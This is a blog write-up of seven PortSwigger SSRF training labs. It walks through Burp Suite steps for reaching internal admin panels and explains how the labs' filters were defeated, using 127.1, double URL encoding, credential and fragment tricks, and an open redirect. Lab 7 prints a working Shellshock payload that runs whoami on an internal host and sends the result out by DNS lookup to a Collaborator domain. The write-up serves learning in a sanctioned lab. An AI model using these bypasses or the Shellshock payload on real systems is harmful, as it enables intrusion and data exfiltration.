PortSwigger SSRF Labs

Hey all! This write-up is about my PortSwigger SSRF labs journey. There are a total of 7 labs, each helping us better understand the notorious vulnerability, Server-Side Request Forgery.

In most of the labs, we have to exploit the Check Stock functionality and delete the user Carlos. However, there are a couple of Blind SSRF labs as well which are quite challenging and useful and also re-introduces us to the well-known Shellshock Vulnerability.

My aim in writing this blog is to showcase my thought process of arriving at the solution, instead of directly jumping to the result. I used Burp Suite Professional to solve these labs. Hope you find these as beneficial and engaging as I did.

Lab 1: Basic SSRF against the local server

I began by accessing the lab, clicked on a product, and intercepted the Check Stock functionality using Burp Suite. The stockApi was accessing an internal system to check the stock of the product.

1.1

I replaced this URL with localhost: http://localhost/admin to see if the internal admin interface was accessible. It worked and the application returned the delete user endpoint /delete?username=carlos in the response.

1.2

I appended it in the stockApi POST request body and the user got deleted, which completed the lab.

1.3

Lab 2: Basic SSRF against another back-end system

I accessed the lab and intercepted the Check Stock functionality. The stockApi was fetching the product stock from an internal system. To delete the user Carlos, I needed to find the admin interface in the internal IP range 192.168.0.x on port 8080.

2.1

So, I ran an Intruder attack on the final octet from 1 to 255 and found the admin interface on 192.168.0.23:8080/admin , and then replaced the stockApi endpoint with 192.168.0.23:8080/admin. The application returned 200 response along with the delete user endpoint.

2.2

2.3

I appended the /delete?username=carlos endpoint to stockApi and sent the request. The user got deleted and the lab was completed successfully!

2.4

Lab 3: SSRF with blacklist-based input filters

The aim of this lab was to access the admin interface at http://localhost/admin using the stockApi and delete the user Carlos. I clicked on a product and intercepted the Check Stock functionality. I changed it to http://localhost to see if localhost was directly accessible. But, the application returned an error: External stock check blocked for security reasons.

3.1

This meant that some anti-SSRF defenses had been implemented in the application which was not allowing access to the admin console on localhost. So, the next step here was to bypass those defenses.

I tried http://127.0.0.1 but it was also blocked. So, I changed it to http://127.1 and got 200 Ok in the response along with the /admin endpoint.

3.2

Then, I tried accessing the admin interface at: http://127.1/admin. But the application returned the same error: External stock check blocked for security reasons which meant that there could be another anti-SSRF defense that was not allowing access to the /admin endpoint. The next step was to bypass this second defense.

3.3

The first thing I tried was URL encoding by encoding admin to %61%64%6d%69%6e, but it wasn’t successful.

3.4

Then I thought double encoding might work here. I further encoded %61%64%6d%69%6e to %25%36%31%25%36%34%25%36%64%25%36%39%25%36%65 and replaced this encoded string in the stockApi value and found the delete user endpoint of Carlos user in the response.

3.5

Then, I appended /delete?username=carlos to the stockApi request parameter value and the user got deleted, which completed the lab.

3.6

Lab 4: SSRF with whitelist-based input filter

I clicked on a product and intercepted the Check Stock functionality. The aim here was again to reach the admin console and delete user Carlos. So, I tried to access it directly first and entered http://localhost/admin in the stockApi parameter value, but the application returned External stock check must be stock.weliketoshop.net. The error statement indicated that the server had whitelisted this domain to access the internal system and no other domain or IP would be accepted.

4.1

So, I tried http://stock.weliketoshop.net/admin and got 500 Internal Server Error in the response. To solve this lab, the first thing required here was to bypass the whitelist-based filtering defense implemented in the application and somehow include localhost with the whitelisted domain.

4.2

Some URL parsers allow entering credentials before the domain name. E.g.: http://username:password@xyz.com

And we take advantage of this property to look for a SSRF vulnerability and exploit it.

When I entered a username before the domain, http://admin@stock.weliketoshop.net/ the application returned 500 response, meaning the application parser was accepting the username before the domain.

4.3

Then I tried adding a # after the username because we can use the # character to indicate a URL fragment, which is again a URL parser property: http://admin#@stock.weliketoshop.net/. But it returned the error: External stock check host must be stock.weliketoshop.net. Here, the application’s URL parser was accepting admin as the domain and everything after # i.e. @stock.weliketoshop.net/ as the URL fragment.

4.4

So to bypass this, the next thing I tried was URL encoding. I encoded the # character to %23 : http://admin%23@stock.weliketoshop.net/ and it again returned the same error which led me to try double encoding: http://admin%2523@stock.weliketoshop.net/ and the application returned 500 response. This meant that the whitelist-based input filter bypass was successful since the server was now accepting admin before the stock.weliketoshop.net domain.

4.5

Since admin was not a valid hostname, so changed it to localhost: http://localhost%2523@stock.weliketoshop.net/. The server returned 200 response along with the admin panel path.

4.6

I appended /admin at the end of this URL to access the Admin interface: http://localhost%2523@stock.weliketoshop.net/admin which gave me the delete user endpoint: /admin/delete?username=carlos

4.7

I entered the final URL in stockApi: http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos and the lab was successfully completed!

4.8

Lab 5: SSRF with filter bypass via open redirection vulnerability

I clicked on a product and intercepted the Check Stock functionality. The aim here was to reach the admin console and delete user Carlos. So, I tried accessing it directly first: http://192.168.0.12:8080/admin

The server returned an invalid URL error in the response: Invalid external stock check url ‘Invalid URL'. Now, as per the lab description:

The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.

5.1

The first step to solving this lab was to look for an Open redirection vulnerability in the application.

I URL decoded the original stockApi URL: /product/stock/check?productId=1&storeId=1 and looked for Open redirection in this decoded path by using multiple payloads, but none of them worked.

stockApi=/product/stock/check?productId=1&storeId=1&path=http://192.168.0.12:8080/admin/
stockApi=/product/stock/check?productId=http://192.168.0.12:8080/admin/
stockApi=/product/stock/check?productId=1&storeId=http://192.168.0.12:8080/admin/

Then, I went back to the product page and found 2 options: Return to list and Next product. Return to list would take me back to the homepage, and it had no parameters in its URL. So, I intercepted the Next product as it had some parameters which could be checked for Open redirection.

There was a path parameter in this request whose value was returned in the Location response header. This could potentially be vulnerable to Open redirection.

5.2

I replaced the path value to http://192.168.0.12:8080/admin and the application got redirected to the same. So, there was an Open Redirection here.

5.3

Now, the next step was to change the stockApi value with vulnerable nextProduct endpoint to access the admin interface.

/product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin

I replaced the whole stockApi value with nextProduct endpoint but it didn’t work. Some path parameter was still missing.

5.4

So, I thought maybe the application needed the path in the URL encoded form. I selected the whole endpoint and encoded it /product/nextProduct%3fcurrentProductId%3d1%26path%3dhttp%3a//192.168.0.12%3a8080/admin, and got a 200 response along with the user deletion path.

5.5

Then, I appended this path /delete?username=carlos to delete the user Carlos and solved the lab successfully!

5.6

Lab 6: Blind SSRF with out-of-band detection

I accessed the lab, clicked on a product, and intercepted the request using Burp. Now, the lab’s description stated that the site was fetching the URL specified in the referer header when a product page was loaded. So, I created a Burp Collaborator client payload and inserted it in the referer header value, and sent the request. The collaborator client received a callback implicating that it was indeed vulnerable to SSRF which ultimately solved the lab.

6.1

Lab 7: Blind SSRF with Shellshock exploitation

This is another Blind SSRF lab. This lab focuses on the post-exploitation of an SSRF vulnerability.

I accessed the lab and clicked on a product and intercepted the request using Burp. This time I used a Burp extension: Collaborator Everywhere. It injects harmless payloads into the requests for in-scope targets and helps in identifying Out-of-Band vulnerabilities. So, I added the lab as in scope and visited a few pages, and got a collaborator response from User-Agent and Referer header. Now that SSRF was present, I could check for Shellshock vulnerability in one of the headers to perform some code execution on the internal server and extract the OS user as per the lab description.

7.1

So, I googled Shellshock payloads and found this blog by Cloudfare which had some payloads. I copied one payload and modified it as per my requirements.

() { :; }; /bin/eject http://example.com/

I replaced /bin/eject with /bin/nslookup because I wanted the DNS lookup for the domain which contained the result of whoami and added $(whoami) before the Burp collaborator URL to see the output in the collaborator window. This was the final payload:

() { :; }; /bin/nslookup $(whoami).xab529nyvc0pdfm7bu7qcztm5db3zs.oastify.com

But, another element that was still unknown was the internal server vulnerable to Shellshock. The internal server was in 192.168.0.X range on port 8080 (mentioned in the lab description). So, I included this in the Referer header and started an Intruder attack from 1 to 255 on the final octet.

7.2

7.3

While my intruder attack was running, I received a callback on the burp collaborator along with the OS user which when I submitted in the application solved the lab!

7.4

That’s the end of the SSRF labs. Thanks for reading :)